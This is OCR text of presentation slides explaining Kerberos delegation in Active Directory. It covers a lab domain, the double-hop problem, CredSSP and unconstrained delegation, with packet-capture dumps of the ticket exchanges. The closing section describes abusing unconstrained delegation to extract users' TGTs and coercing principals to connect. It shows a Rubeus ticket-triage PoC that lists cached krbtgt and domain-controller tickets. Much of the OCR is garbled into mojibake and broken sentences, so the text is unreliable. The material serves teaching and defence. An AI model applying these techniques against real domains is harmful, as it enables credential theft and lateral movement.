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The goal of this talk isnderstanding Kerberos Delegaticas a mechanism for credential
delegation and user impersonation in AD. This will aid in clarifying in which situations this

feature should be used, as well as its most common weaknesses and risks
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Why

A Credential delegation is a very common and needed aspect in Active Directory
environments

AAbuses of this subject take advantage of its inherent functionatigt CVES

AUnderstanding this talk will also help you in terms of Lateral Movement
knowledge!
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Disclaimer

A This is more about how Delegations work and less about their abuses. We will see some
PoCgho!

A Asthisis not an easysubject there couldbe mistakeshere andthere. If so,suggestions

andcorrectionsare verywelcome

A Hopeyou enjoythis presentationandlearnsomethingnew!
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Agenda

1. Introduction
2. The Double Hop Problem
3. Credential Delegation

4. Kerberos Delegation
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Introduction
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Let 0s Supposecée
AWe are in the CAPSULE.CORP domain!

AThere is an internal web application for uploading/downloading files
A http://sharebrowser.capsule.corp

AThis application stores files locally in the same server where the application is
running

A C\Web\ ShareSuppokt
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e & hitp://sharebrowser.capsule.corp/ - ¢

& c = Bronarcer!
= Share Browser!

Search..,

Working with Web01 (local) - C:\Web\ShareSupport

Browse. ..
FileName | |

attlds.github.io

crummie3.club

procexp64.exe e
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sharebrowser.capsule.corp

Working with Web01 (local) - C:\Web\ShareSupport
Browse..

w

A 4

Vegeta

WebO01.capsule.corp
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Authentication

Aln order to interact with the
application, you first need to
log In!

AThe application supports
Windows authentication
through Kerberos

iexplore.exe

onnecting to sharebrowser.capsule.corp.
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Authorisation

A Services that support Windows authentication can act on behalf of clients
AWe can configure Windows ACLs for those objects the service interacts with

AFor example, this application:
ALists files of a folder (read permissions)
A Allows uploading/downloading/deleting files (write permissions)

www.crummie5b.club



The application lists the C:\ Web\ ShareSupport folder

r.capsule.corp/
(& Share Browser!

~ @ | | Search..

Working with Web01 (local) - C:\Web\ShareSupport

Browse. ..
FileName |

ERE

Haome

“

| ShareSupport

Share View

v A » ThisPC » Local Disk (C) » Web » ShareSupport
Mame
s Tick access

|| attMs.github.io
I Des o

4

ub
|= Documents

=/ Pictures

[ This PC

¥ Metwork

3 items
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Permissions can be configured

= | ShareSupport

- Home Share
« v » ThisPC » Local Disk > Web » ShareSupport

Mame Date n
# Quick access

[ Desktop
“ Downloads
|Z| Documents

| | attlds.github.ic

File

r L 3 071 12 M CLUB File )

|| crummie3.club : M CLUE File W e ShareSupport Properties
[®E] procexpbd.exe 431 PM ' A58 KB

General Sharing Securty  Pre Versions  Cus
& | Pictures Object name: re Support
To Group or user names:
" & Vegeta ServerAdmin (Vegeta_sa@capsule comp)
W m
Web 2 Administrator

[ This PC

¥ Metwork Edit...

Allow Deny

anced settings, Advanced
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How does It work?

A Services that support Windows authentications carry out something celileat
Impersonation

AWhen you connect to the web application:

1. Credentials are verified

2. An Access Token with the security context of your user Is created
3. The service places a copy of that Token into a new thread
4.

That thread can act on your behalf and is subject to the restrictions imposed
by ACLs
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&

Vegeta

Process

Thread

Access Token

Vegeta

Auth

Web01.capsule.corp

Impersonates

Web.exe

SvcAcc]

Q

Vegeta

Lists

ShareSupport Properties

rsions  Customize

& Vegeta ServerAdmin (Vegeta_sa@capsule.comp)

2 Administrator

Deny

anced settings, e

m
ShareSupport
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ALL GOOD SO FAR. EVERYTHING WORKS
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The Double Hop Problem
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Let 0s Supposecée
AWe are in the CAPSULE.CORP domain!

AThere is an internal web application for uploading/downloading files
Ahttp://sharebrowser.capsule.corp

Aln this case, this application stores files in a network share servaddiper
server

AThe application is served meb01.capsule.corp
AFiles are stored in a remote share servedsbld1.capsule.corp
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The ldea

Working with Sql01 - \\sql01.capsule.corp\ShareSupport\

Browse... load

File Name

A 4
A 4

Vegeta Web01.capsule.corp sqgl01.capsule.corp

www.crummie5s.club



Suddenly, when we access the application\&sgetax
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Denied?!

er.capsule.corp/

ccess to the path "\sql01....

Server Error in '/' Application.

ShareSupport Properties
General Sharing Securty Previous Versions Customize

e for more information about the error and | ©Pisetname:  CashareSupport
who:re it nrlglnaled in the code
52, 5YSTEM

& Vegeta ServerAdmin (Vegeta_sa@capsule corp)

88 Administrators (SGLOT\Administrators)

Exception Details: System UnauthorizedAccessException: Access to the path "\sql01.capsule.corptShareSupport' is denied.

ASP.NET is not authorized to access the requested resource. Consider granting access rights to the resource to the ASP.MET request identity. ASP.NET has a base proc
identity (typically {MACHINEPASPMNET on 1IS 5 or Network Service on IS 6) that is used if the application is not impersonating. If the application is impersonating via <ide|
impersonate="true"f, the identity will be the anenymous user (typically IUSR_MACHINENAME) or the authenticated request user. Edit...
To grant ASP.NET access to a file, right-click the file in File Explorer, choose "Properties” and select the Security tab. Click "Add” to add the appropriate user or group. 5 n_ Alow Deny
Highlight the ASP.NET account, and check the boxes for the desired access.

Source Error:

Line 13: if (!IsPostBack)
l ine 14- I o i issions or advanced settings, Rirenced
< d

Cancel
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Back to the Basics

Interactive authentication
A User sends credentials and are (usually) stored in Isass.exe for SSO purposes
A New user logon session(s) and access token(s) on the target system
A Process/threadd Access TokeA Logon SessioA Credentials

Network Authentication
A User proves has correct credentials but they are not (usually) stored in Isass.exe
A New logon session(s) and access token(s) on the target system
A Process/thready Access TokeAA Logon SessioA No Credentials
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Back to the Basics (cont.)

Access Tokens
A Represent thdocal security contexdf a user

A Windowsbases its access control decisions around the information given by your Access
¢C21SY o0€e2dzNJ { L5 €e2dzNJ ANRdzLJ YSYOSNBRKALJAZ €

Credentialgtied to logon sessions)
Aw S LINE & Swghwork ety contexdt 2 ¥ | dza S NJ
Al O0OSaaAy3a | NBY20S NBaz2dzNOS NBIjdzA NEa ONBRS
A Windows SSO authentications require your credentials cached in Isass.exe

WSTFSNI G2 a! YRSNAEGI Yy RAY 3-htpd/iatida. dgithub.jo/l 4§ SN f a2 @SYSydac¢ www.crummie5.club



Creates

Logon Sessio
TOKEN

User SID
—~ Logon Session ID

NTLM
Kerberos

Interactive

Remote

Security information

Integrity

Groups
X

Vegeta

Provides
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What Happened

Client Web01.capsule.corp sqlO1.capsule.corp

» 27?2
227

Network >
—» > Denied

Q}OO Vegeta
&
} Ap/ Secret Key
Vegeta Web01 cannot act on behalf of Vegeta to access SqlO1! ’

1 @ A Process/Thread

' ?,

vegeta| Access Token
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Double Hop
ACKS A&dadzS 4SSy Ay (UKS LINBYAZ2dza af ARS

AThe service does not have credential material to act on behalégétain the
network

Al 26 OFYy 6S LINRPYARS GKS ASNIAOS gAlIK ¢
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Credential Delegation
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Credential Delegation

ATo address Double Hop, a service needs a way to impersonate clients not only
locally, but in thenetwork

AAccess Tokens are for local purposes, for network authentications we need
credentials

A Credential Delegatiois the act ofsending some kind of credential materialthe
service, so that the service can use it to impersonate clients in the network
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Example

Client Web01.capsule.corp sqlO1.capsule.corp

Network Network

— =

v : : : :
A The Client delegates Credential Material to the service ! A5 secret Key

() = &
1 @ A Process/Thread

' ?,

vegeta| Access Token
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Credential Delegation (cont.)

A Although we are going to study Kerberos Delegatjevhich is a credential
delegation featureg there are alternative approaches

ADifferent services have different offerings

AA good example is PowerShell Remoting (PS Remoting)
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PS Remoting o Solving Double Hop

Configuration Note

CredSSP Servers configured to suppor€redSSP
Clienttrusts server and passes full credentials without any constraint

Just Enough Administration (JEA) Servers configured with credentials
Clientconnects and works with those credentials

PSSessionConfiguratiaisingRunAs Servers configured with credentials
Clientconnects and works with those credentials

t{ wSY20Ay3 /OMRR SMEA IgtAc KF fal 3 Serverdoes not need any configuration
Clientconnects and specifies credentials on the spot when neede

| ==

Kerberos Delegation Depending on the type, we will see them in next slides!

https://docs.microsoft.com/erus/powershell/scripting/learn/remoting/pgemoting-secondhop?view=powershelf.1 www.crummie5b.club



D]

PS C:\> Enter-PSSession wse2

[ws82]: PS C:\Users\Administrator\Documents>

[ws82]: PS C:\Users\Administrator\Documents>

[wse2]: PS C:\Users\Administrator\Documents> net users /domain

The reguest will be processed at a domain controller for domain capsule.corp.

[ws@2]: PS C:\Users\Administrator\Documents>

[ws@2]: PS C:\Users\Administrator\Documents> exit

PS C:\>

PS C:\>

PS C:\> Enter-PSSession wse2 Credssp

[wsB2]: PS C:\Users\Administrator\Documents>

[ws82]: PS C:\Users\Administrator\Documents>

[ws82]: PS C:\Users\Administrator\Documents> net users /domain

The request will be processed at a domain controller for domain capsule.corp.

User accounts for \\dc@l.capsule.corp

accountSvc Adam.Wally Administrator
backupSvc bulma bulma_da
Elijah.Blakley Fannie.Eames fileSvc

Guest Herminia.Oliva Ivan.Davie
krbtgt Krillin mailSvc
Marcy.Hyatt Merideth.Bolanos Mutenroshi
Mutenroshi_wa Nguyet.Catlett Phyllis.Biondo
Renita.Lintz sharebrowserSvc sqlSvc
updateSvc Vegeta Vegeta_sa
yamcha

The command completed successfully.

cap\administrator

Solving Double Hop
with CredSSP
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At the end of the day, the goal @redential Delegatiors to provide a
service withcredentials in one way or another
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Kerberos Delegation
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NTLM Delegation?

AWould depend on the password / NTLM hash of clients

A Credentials would need to be verified on the Domain Controller on each
authentication

Al F dAy3 G2ya 2F be¢[a KFakKSa OF OKSR Ay
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Client Web01.capsule.corp sqlO1.capsule.corp

NTLM Hash NTLM Hash
Network Network
> > |
- . l
» A
Vegeta NTLM
Check

Two DC checks per access , and
NTLM hashes cached in Web0O1

NTLM Check

DCO1.capsule.corp

A’/o Secret Key
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Kerberos Delegation

ADoes not depend on the original user password or NTLM hashes

A Authentication is based on Tickets and session keys
A These are trusted by default and not verified by a DC on each access

AHaving Tickets and session keys cached in a server is way better than having
NTLM hashes

A Note: it is still very risky. Delegation services are always sensitive assets!
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Kerberos Delegation (cont.)

Three types of Kerberos Delegation available in Active Directory

www.crummie5.club www.crummie5. club www.crummie5.club
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&5 Internet Information Services (II5) Manager
&« » WEBD1 » Application P
File  View Help

Connections

T

Start Page

0 Application Pools

|| This page lets you view and manage the list of application pools on the server. Application pools are associated with worker
\administr: processes, contain one or more applications, and provide iselation ameong different applications.

Application Pools
& Gites Filter: - Go - \gShowAll | Group by: Mo Grouping =
Name Status  .METCLRV.. Managed Pipel.. Identity Applications
o Started w20 Integrated ApplicationPoolldentity 0

Started w20 Classic ApplicationPoolldentity 0 Edit Application Pool

Started w40 Integrated ApplicationP = LI
Started ApplicationPo
Started w20 Classi ApplicationPo

Content View

The service account that runs the service is cap \ sharebrowserSvc
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ﬁj Internet Information Services (I15) Manager

L € » WEBD1 » Sites » Sharebrowser »
File  View Help

Connections

-7 & e Authentication

|= ¢ ) -
5 Start Fag_v.—.- N Group by: No

/EB0T (CAP\administrataor) -
Mame Status
Ancnymaous Authentication Disabled
Sharebrowser

Providers

Enabled Providers:

Select a provider from the list of available providers and click Add
to add it to the enabled providers.
=| Features View ontent View

Available Providers:
Configuration: 'localhost’ applicationHost.config, <location path="5Sharebrowser">

The service supports Windows authentication and Client
Impersonation

Kerberos is the only provider available
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ription

B Intemupts n/a Hardware Intemupts and D

nhost exe -onsole Windo
-TF Loader » ministrator
=] dlhost.exe 2828 COM Sumo . ministrator
= 1524 Windows Explorer :
—| ¥ powershell.exe 4472 Windows Poy ell " - 0 47831165-1153
1880 Sysintemals Process Explorer CAP“administrator

4216 Runtime Broker
4256 Runtime Broker CAP administrator

nd Netwo
Environment

ed identity

4064 Shell Infrastructure Host AP administrator
Windows Defend - ministrator
ministrator

ministrator

NT AUTHC
NT AUTHC
NT AUTHC
NT AUTHC
NT AUTHC
NT AUTHC
NT AUTHC
NT AUTHC

Cancel

[IS Worker process running as cap \ sharebrowserSvc with local impersonation privileges
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sharebrowserSve Properties

ation Published C:
Dial4n Object
te contral

ral Address
Multi-valued String Editor
Aftribute: servicePrincipalName
First name: sha Value to add:
Last name:
Display name:
Description:

Office:

Telephone number:
E-mail:

‘Web page:

Cancel

Cancel

cap \ sharebrowserSvc has the HTTPsharebrowser.capsule.corp  SPNregistered
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&

Token

Process

Thread

Access Token

Vegeta

Authentication

Impersonates

WebO01.capsule.corp

w3wp.exe

&

sharebrowserSvg

v

e

Vegeta

Tries to list

Requires Credential Material!

sqlO1.capsule.corp

ShareSupport
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Unconstrained Delegation
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Unconstrained Delegation

AWhen this delegation is configured on a service, the client delegates a copy of its
TGT to the server

AThe service can act on behalf of the client in the network by using its TGT

A Setting up this delegation requires Domain or Enterprise Admin privileges
A SeEnableDelegation
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sharebrowserSve Properties

Organization ~ Published Centficates ~ Member Of  Password Replication

Dial-n X eCur Environment e 5

Remote control ~ Remote Desktop Services Profile M= Attibute Editor

General Address Account Profile Telephones Delegation

is a securnty-sensitive operation, which allows services to act on
wother user.

Service Type  User or Computer

[] Expanded

The web app is offered by our sharebrowserSvc
account . L e tcdnBgure ir with
Unconstrained Delegation

EX Administrator: Windows PowerShell

PS C:\> Get-DomainUser sharebrowserSvc userAccountControl ,name | fl

name : sharebrowserSvc
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, | TRUSTED_FOR_DELEGATION

PS C:\>
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Logging i n é

~ e
L Waiting for sharebrowser.c...

Windows Security
iexplore

Connecting to sharebrowser.capsule.corp.

vegeta_sa

Domain: CAP

I:l Remember my credentials
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IT WORKS!

e arebrowser.capsule.corp/CS.aspx = & || Search...

= C s A er!
= Share Browser!

Working with Sql01 - \\sql01.capsule.corp\ShareSupport\

Browse...

FleName | | |
crummied club Dowmnl
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Under the Hood

HTTPsharebrowser.capsule.cor ST
TGT P P

Delegation TGT

Source Destination Protocol Length _—
.11. 3. .11. 3. 269 AS-REQ
9.11.3.112 1596
1631| T6S-REQ
e AP-REQ
1451 (ST +Authenticator + Delegation TGT)
1458| TGS -REP
4334 GET /CS.aspx HTTP/1.1
1625| TGS -REP
1892 Session Setup Request

314|Session Setup Response CIFS/sqlO1.capsule.corp ST

4449 HTTP/1.1 200 0K (text/html)

3

£y
&
£y
&
£y
=p
£y
&
P
&iq
ap

10.11.3.112 - CLIENT
10.11.3.12 - WEBO1

10.11.3.10 - SOLOL Listing \ \ sglO1.capsule.corp \ ShareSupport\

10.11.35 - DCOL AP-REP + HTTP

Response
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Vegeta

v

™

Vegeta

Secret Key

T
=
—
jv)
H
T
0p)
# || e

Session Key

, TS | Timestamp

Auth| Authenticator
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’

T;, _"> 10:00

Vegeta

Secret Key

B

HTTP o =S

g , TS | Timestamp

Auth| Authenticator

Session Key
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encASRe‘% —»| Info 4g

—|Auth HTTF
Auth| —**, [Auth o | RS, | HTTR—

Secret Key

B

HTTP o =S

’ TS | Timestamp

Auth| Authenticator

Session Key

www.crummie5.club




TGS REQ- HTTP Ticket

~ Kerberos
» Record Mark: 1573 bytes
~ tgs-req
pvno: 5
msg-type: krb-tgs-reqg (12)
~ padata: 2 items
~ PA-DATA PA-TGS-REQ

A - - padata-type: KkRB5-PADATA-TGS-REQ (1)
A S e n d I n g TG T + Auth e ntl Ca.to r ~ padata-value: 6e8204ea308204e6a003020105a10302010ea20703050000...

~ ap-req
pvno: 5
msg-type: krb-ap-req (14)
Padding: @
» ap-options: 000EOEEE

ATarget SPN:

v+ PA-DATA PA-PAC-OPTIONS

AHTTPgharebrowser.capsule.corp [

Padding: ©

kdc-options: 40810000
realm: CAPSULE.CORP
sname
name-type: KkRB5-NT-SRV-INST (2)

till: 2037-09-13 02:
nonce: 547982417

» etype: 5 items

» enc-authorization-data
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-—> 48 Info

Auth| _* Vegeta
4 15:00

Vegeta 4—-— encTGSReE E————

Unconstrained Delegation

Secret Key

B

TRUSTED_FOR_DELEGATION HTTP CIFS

Session Key

, TS | Timestamp

Auth| Authenticator
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TGS REP- HTTP Ticket

~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

. . ~ cipher: cd36dba5e3c9192859b71Tc3b646021b2d60865413Fd97617...
~| encTGSRepPart|
AThe KDC notices Unconstrained [zt

. v last-reqg: 1 item
D e I eg atl O n nonce: 547982417
Padding: @

=~ flags: 40a50000

= reserved: False

= forwardable: True

= forwarded: False

= proxiable: False

. = proxy: False
= may-postdate: False
= postdated: False

AThe resulting HTTP Service Ticket has B
anok-as-delegateflag Ty

initial: False

= pre-authent: True

= hw-authent: False

= transited-policv-checked:
. = ok-as-delegate: True

= unused. False

= enc-pa-rep: True

AThe client knows the service is
SU|tab|e aS a dElegate authtime: 2@;1?23%20:2':siféie(urc)

starttime: 2021-04-02 13:57:34 (UTC)
endtime: 2021-04-02 23:57:34 (UTC)
renew-till: 2021-04-089 13:57:34 (UTC)
srealm: CAPSULE.CORP
= sname
name-type: kRB5-NT-SRV-INST (2)
~ sname-string: 2 items
SNameString: HTTP
SNameString: sharebrowser.capsule.corp
v encrypted-pa-data: 2 items

www.crummie5b.club



“m S
@\ @

A AY
encTGSRe) —» | Info 4o
s rw »

/ Vegeta

Service is suitable as a
delegate

Secret Key

B

HTTP o =S

; ’ TS | Timestamp

Auth| Authenticator

Session Key
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| Auth
S o| S | —

Secret Key

B

HTTP o =S

4 , TS | Timestamp

Auth| Authenticator

Session Key
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https://web.mit.edu/kerberos/krb51.5/krb5-1.5.4/doc/krb5user/KerberosTicketProperties.html

TGS REQ- Delegation TGT

ASending TGT + Authenticator " pagatar LY

+ PA-DATA PA-TGS-REQ
~ padata-type: KRB5-PADATA-TGS-REQ (1)
-~ padata-value: 6e8204ea308204e6a003020105a
- ap-req
pvno: 5

ATarget SPN: meg-type: krb-ap-req (14)

» ap-options: GEOEEEEHO
A krbtgt/ capsule.corp

-~ kdc-options: 60810010

reserved: False
forwardable: True
forwarded: True
proxiable: False
proxy: False
allow-postdate: False
postdated: False
unused7: False
renewable: True

A Client asks for forwardedTGT to be
sent to the service
Ad! aSNISNI OKI G Aa
been granted a proxy or a forwarded

¢ D ¢ é ~ sname-string: 2 items
SNameString: krbtgt

SNameString: CAPSULE.CORP
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HTTP

encTGSReE

K dzK K

BTG — | 4 1m0
Auth @. Vegeta
4 15:00
C2NBI NRSRX
AP | Secret Key
48 | session Key
TS | Timestamp
Auth| Authenticator
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TGS REPO Delegated TGT

~ enc-part
etype: eTYPE-AES256-CTS-HMAC-5HA1-96 (18)

~ cipher: 43d2ff3047bcel94d96241369e9eah597c9af0f4edbffr6e..
-|encTGSRepPart |

v last-reqg: 1 item

AThe KDC expects this request as a

Padding: @

flags: 60al0000

follow-up of the previous one, as the 0! L L osorved: resse

forwardable: True
. : . .. forwarded: True
service is Unconstrained 6 ... = proxiable: False
veaa B proxy: False
may-postdate: False
postdated: False
invalid: False
renewable: True
. Y initial: False
AThe resulting TGT has the expected
P B hw-authent: False
P transited-policy-checked:
forwardedflag ok-as-delegate: False
ceaa .. 0. unused: False
1 enc-pa-rep: True
anonymous: False
authtime: 1-04-02 13:57:34 (UTC)
starttime: 21-04-02 13:57:34 (UTC)
endtime: 2021-04-02 23:57:34 (UTC)
renew-till: 2021-04-09 13:57:34 (UTC)
srealm: CAPSULE.CORP
sname
name-type: KRB5-NT-SRV-INST (2)
~ sname-string: 2 items

SNameString: krbtgt
SNameString: CAPSULE.CORP

https://web.mit.edu/kerberos/krb51.5/krb5-1.5.4/doc/krb5user/KerberosTicketProperties.html www.crummie5.club



R =T
» -
mE .

R

\ Vegeta

L3 Ay
encTGSRe —» | Info W
ya

7

Forwarded flag!

Secret Key

B

HTTP o =S

’ TS | Timestamp

Auth| Authenticator

Session Key
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AP-REQ

Hypertext Transfer Protocol
v GET / HTTP/1.1\r\n
Accept: text/html, application/xhtml+xml, image/jxr, */*\r\n
Accept -Language: en-US, en;q=0.5\r\n
User-Agent: Mozillas5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gec
Accept-Encoding: gzip, deflate\r\n
Host: sharebrowser.capsule.corp\ri\n

AHTTP request with Negotiate header

[truncated]JAuthorization: Negotiate YIILnQYGKwYBBQUCoIILKTCCC42gMDAuUBgk
~ GSS-API Generic Security Service Application Program Interface
A Cllent SendS ST + AUthentlcatOr 0ID: 1.2.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation)
~ Simple Protected Negotiation
~ negTokenInit

v mechTypes: 4 1items
mechToken: 60820b4706092a864886771201020201006e820b3e308200h..

~ krb5_blob: 60820b47r06092a864886771201020201006e820b3e308200h..

KRB5 0OID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)

AThe TGT and associated session key ar Krbs._tok_1a; KRB AP_REQ (6x0001)

~ Kerberos
within the Authenticator Siret s
msg-type: krb-ap-req (14)
Padding: ©
» ap-options: 20000000

tkt-vno: 5
realm: CAPSULE.CORP

~ sname

name-type: kRB5-NT-SRV-INST (2)

* sname-string: 2 items

» authenticator
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~ authenticator

authenticator-vno: 5
crealm: CAPSULE.CORP
~ cname
name-type: KRB5-NT-PRINCIPAL (1)
-~ cname-string: 1 item
CNameString: Vegeta sa
cksumtype: cKSUMTYPE-GSSAPI (32771)
checksum: 10000000000000000CCAACCHAAOEEAAOCHAAOCHA23000000..
Length: 16
Bnd: G0QEAEEEEPEEOEEEEEEEEEOEEEOOEOEOHE
L0 o DCE-style: Not using DCE-STYLE
Integ: Integrity protection (signing) may by
conf: Do NOT use Confidentiality (sealing)
Sequence: Do NOT enable out-of-sequence dett
/: Do NOT enable replay protection
Reguest that r >

e: krb-cred (22)

~ tickets: 1 item

tkt-vno: 5
realm: CAPSULE.CORP
-~ sname
name-type: KRB5-NT-SRV-INST (2)
~ sname-string: 2 items
SNameString: krbtgt
SNameString: CAPSULE.CORP
v enc-part
etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
~ cipher: 7ba55253601bb9c11f@dbb46335263094d4933214548c02b...
~ encKrbCredPart

Dlgopt: 1
DlgLen: 1328

~ ticket-info: 1 item

=~ KrbCredInfo
- key
keytype: 23
keyvalue: 67c270d41dcb466c3301f2%a3d05a3ra

A TGT and session key inside #ib-cred prealn; CAPSULE.CORP

pname
structure Padding: 0
flags: 60aleeoe
starttime: 2021-04-02 13:57:34 (UTC)
endtime: 2021-04-02 23:57:34 (UTC)
renew-till: 2021-04-09 13:57:34 (UTC)
5 c 5 srealm: CAPSULE.CORP
A Session key and other info is decrypted + sname
. ec: 44
with SUbkey ime: 2021-04-02 13:57:33 (UTC
~ subkey
keytype: 23
keyvalue: b1b93f773d0Gb63521c70417b195F4ee
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CIFS Ticket 8 TGS REQ

~ Kerberos
v Record Mark: 1576 bytes
- tgs-req
pvno: 5

AJust a regular TGREQ on behalf of e e 2

~ PA-DATA PA-TGS-REQ

~ padata-type: kRB5-PADATA-TGS-REQ (1)
e g eta, ~ padata-value: 6e8204d6308204d2aP03020105a10302010ea20703050000...

- ap-req
pvno: 5
msg-type: krb-ap-reqg (14)
Padding: @
v ap-options: G000

ATGT + Authenticator

~ PA-DATA PA-PAC-OPTIONS

~ padata-type: kRB5-PADATA-PAC-OPTIONS (167)
~ padata-value: 3009a00703050040000000
Padding: @
v flags: 40000000
~ req-body

. Padding: @
Targ et SP N . v kdc-options: 40810000

realm: CAPSULE.CORP

. = sname
AlegsqIO]_.CapSUIe_Corp name-type: KRBS5-NT-SRV-INST (2)
~ sname-string: 2 items
SNameString: cifs
SNameString: sqglel.capsule.corp
till: 2037-09-13 0©2:48:05 (UTC
nonce: 545055992
» etype: 5 itrems
» enc-authorization-data
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CIFS Ticketo TGS REP

AJust a regular TGREP

~ Kerberos

» Record Mark: 1567 bytes

~ tgs-rep
pvno:

5

msg-type: krb-tgs-rep (13)
crealm: CAPSULE.CORP

cname

name-type: KRB5-NT-PRINCIPAL (1)
~ chame-string: 1 item

CNameString: Vegeta_sa

~ enc-part
etype: eTYPE-ARCFOUR-HMAC-MD5 (23)

~ cipher:

~|encTGSRepPart

]

3

3

last-req: 1 item

nonce: 545055992

Padding: @

flags: 60al0Ee0

authtime: 2021-04-02 13:57:34 (UTC)
starttime: 2021-04-02 13:57:34 (UTC)
endtime: 2021-04-02 23:57:34 (UTC)
renew-till: 2021-04-09 13:57:34 (UTC)
srealm: CAPSULE.CORP

sname

encrypted-pa-data: 2 items

Bab7a7833d822b%ac2695ee73al4b9c66b223605al178e50cC...
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AP-REQ (SMB)

AARREQ through SMB on behalf of
Vegeta

A CIFS ticket + authenticator

~| SMB2 (Server Message Block Protocol version 2)

» SMB2 Header
~ Session Setup Request (0x01)
[Preauth Hash: a®9b@2cc728997Tac999e7Tb6141644067Tbd77e2e98d5828...]
StructureSize: @x0019
Flags: ©
Security mode: 0x01, Signing enabled
Capabilities: 0x00000001, DFS
Channel: None (Ox00000000)
Previous Session Id: 0x00000600000000000
Blob Offset: 0x00000058

~ GS5S5-API Generic Security Service Application Program Interface
oID: 1.3.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation)

~ Simple Protected Negotiation
~ negTokenInit
v mechTypes: 4 items
mechToken: 6082068006092a864886771201020201006e8206617308206...
~ krb5_blob: 6082068006092a864886F71201020201006e82066F308206...
KRB5 0OID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
krb5_tok_id: KRB5_AP_REQ (@x0001)
~ Kerberos
pvno: 5
msg-type: krb-ap-req (14)
Padding: @
»_ap-options: 20000000

» ticket
v authenticator
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AP-REP (SMB)

AARREP through SMB
AST encrypted with session key

AMutual authentication between
Web01 and SqglO1

~ SMB2 (Server Message Block Protocol version 2)
+ SMB2 Header
~ Session Setup Response (0x01)

[Preauth Hash: a@9b02cc728997fac999e7rh6141644067fbd77e2e98d5828...]

» StructureSize: 0x0009

» Session Flags: 0x0000
Blob Offset: Ox@00000048
Blob Length: 184

~ Security Blob: al81b53081b2a@P30ap100alf@b6092a8648827712010202...
~ GSS-API Generic Security Service Application Program Interface

~ Simple Protected Negotiation
~ negTokenTarg
negResult: accept-completed (0)

supportedMech: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
responseToken: 60819706092a86488677120102020200618187308184a003...
~ krb5_blob: 60819706092a86488617120102020200678187308184a003...
KRBS 0ID: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)

krb5_tok _id: KRB5_AP_REP (0x0002)
~ Kerberos
- ap-rep
pvno: 5
msg-type: krb-ap-rep (15)
-~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

7efeed9Paedcahladl1ag900230614a54b772ed739arbOrbhae...

-04-02 13:57:34 (UTC)
cusec: 34
v Subkey
seq-number: 545033516
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AP-REP (HTTP)

- Hypertext Transfer Protocol
v HTTP/1.1 200 OK\r\n
Cache-Control: private\r\n
Content-Type: text/html; charset=utf-8\r\n
AAP—REP through HTTP Server: Microsoft-II15/1@.0\r\n
X-AspNet-Version: 2.0.50727\r\n
[truncated JWWW-Authenticate: Negotiate oYGXMIGUoAMKAQChCwYJKoZIgvcy
~ GSS-API Generic Security Service Application Program Interface
- Simple Protected Negotiation
. . ~ negTokenTarg
AST encrypted Wlth SeSSIOn key negResult: accept-completed (@)
supportedMech: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Ker
responseToken: 60819306092a86488677120102020200678183308180
- krbs_blob: 60819306092a86488677120102020200678183308180a003.,
KRB5 OID: 1.2.8460.113554.1.2.2 (KRB5 - Kerberos 5)
krb5_tok_id: KRB5_AP_REP (06x0002)

AMutual authentication between - Kerberos

~ ap-rep
the Client and WebO1 Rea-typ -
msg-type: krb-ap-rep (15)
~ enc-part
etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
=~ cipher: 980ee9c8a984b032538330e2321ar767c77d276bae3a

subkey
seq-number: 545055954
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HTTPgharebrowser.capsule.cor ST
TGT g :

Delegation TGT

Source Destination Protocol Length _—
.11. 3. .11.3. 269 AS-REQ
p.11. 3. 1596|AS-REP '
1631| TGS-REQ
1587 TGS-REP AP- REQ
1461 76S-REQ (ST +Authenticator + Delegation TGT)
1458 TGS-REP
4334 GET /CS.aspx HTTP/1.1
1634 TGS-REQ
1625\ TGS - REP
1892 Sesslion Setup Request
314session Setup Response CIFS/sqlO1.capsule.corp ST

4449 HTTP/1.1 200 0K (text/html)

3

=
&,
=
&,
=
3

=
&,
T
&,
P

10.11.3.112 - CLIENT

10.11.3.12 - WEBO1

10.11.3.10 - SQLO1 Listing \ \ sglOl.capsule.corp \ ShareSupport \
10.11.35 - DCO1 AP-REP + HTTP

Response
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Abusing Unconstrained

AClients will drop their TGTs and keys when interacting with Unconstrained
services

Alf you control an Unconstrained server, you will be able to extract everything

A Sometimes you can even force principals to connect to your Unconstrained
service
A Phishing
A RPC (e.g. MBPRN), abusing other services (gm.dirtree2 y { v[ { SNIISND X

www.crummie5b.club



PoC

e ﬂ http://sharebrowser.capsule.corp/

O Waiting for share LT

Windows Security

iexplore

Connecting to sharebrowser.capsule.corp.

-
Administrator connects to the
Unconstrained service

Domain: CAP

D Remember my credentials

More choices
CAP\vegeta_sa

Use a different account

Cancel
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EN Administrator: Windows PowerShell

PS C:\Tools> .\Rubeus.exe triage

Action: Triage Kerberos Tickets (All Users)

(A
)
[
[ 1\
0
v1.6.1

A This results in

e Ve Ve
[*] Current LUID : @x3elcd R Y' A A < e NJ_ nje 2 N\D 2
! a u u a
| LuIiD | UserName | Service | EndTime | Wlthln WebO]_
| @x15f68a | Vegeta sa @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:55:09 AM |
| @x15f68a | Vegeta sa @ CAPSULE.CORP | cifs/sql@1.capsule.corp | 4/21/2021 6:55:09 AM |
| ©x3e218 | Vegeta sa @ CAPSULE.CORP | krbtgt/CAPSULE.CORP | 4/21/2021 6:41:00 AM |
| @x3e218 | Vegeta sa @ CAPSULE.CORP | ProtectedStorage/dc@l.capsule.corp | 4/21/2021 6:41:00 AM |
| @x3e218 | Vegeta sa @ CAPSULE.CORP | cifs/dcel.capsule.corp | 4/21/2021 6:41:00 AM | A If t I th t
| @x3e218 | Vegeta_sa @ CAPSULE.CORP | cifs/DCo1 | 4/21/2021 6:41:00 AM | We Con ro a Server, We
| @x3e218 | Vegeta sa @ CAPSULE.CORP | LDAP/dc@1.capsule.corp/capsule.corp | 4/21/2021 6:41:00 AM | .
